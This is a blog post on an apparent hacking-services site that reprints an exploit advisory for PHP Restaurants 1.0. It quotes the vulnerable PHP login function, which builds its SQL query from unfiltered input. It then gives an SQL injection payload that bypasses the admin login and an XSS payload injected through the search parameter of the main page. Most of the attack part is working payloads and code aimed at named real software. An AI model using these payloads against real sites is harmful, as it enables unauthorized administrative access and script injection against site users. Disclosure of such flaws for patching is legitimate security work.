Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86389265

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross Site Scripting (XSS)
# Google Dork: None
# Date: 4/26/2023
# Exploit Author: Or4nG.M4n
# Vendor Homepage: https://github.com/jcwebhole
# Software Link: https://github.com/jcwebhole/php_restaurants
# Version: 1.0


functions.php

function login(){
global $conn;
$email = $_POST['email'];
$pw = $_POST['password'];

$sql = "SELECT * FROM `users` WHERE `email` = '".$email."' AND `password` =
'".md5($pw)."'"; <-- there is No filter to secure sql query
parm[email][password]
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
setcookie('uid', $row['id'], time() + (86400 * 30), "/"); // 86400 = 1 day
header('location: index.php');
}
} else {
header('location: login.php?m=Wrong Password');
}

}

login bypass at admin page /rest1/admin/login.php

email & password : ' OR 1=1 --             <- add [space] end of the payload

cross site scripting main page /index.php

xhttp.open("GET", "functions.php?f=getRestaurants<?php
  if(isset($_GET['search'])) echo '&search='.$_GET['search']; <-- here we
can insert our xss payload
?>
  ", true);
xhttp.send();

</script> <-- when you insert your'e payload don't forget to add </script>
like

xss payload : </script><img onerror=alert(1) src=a>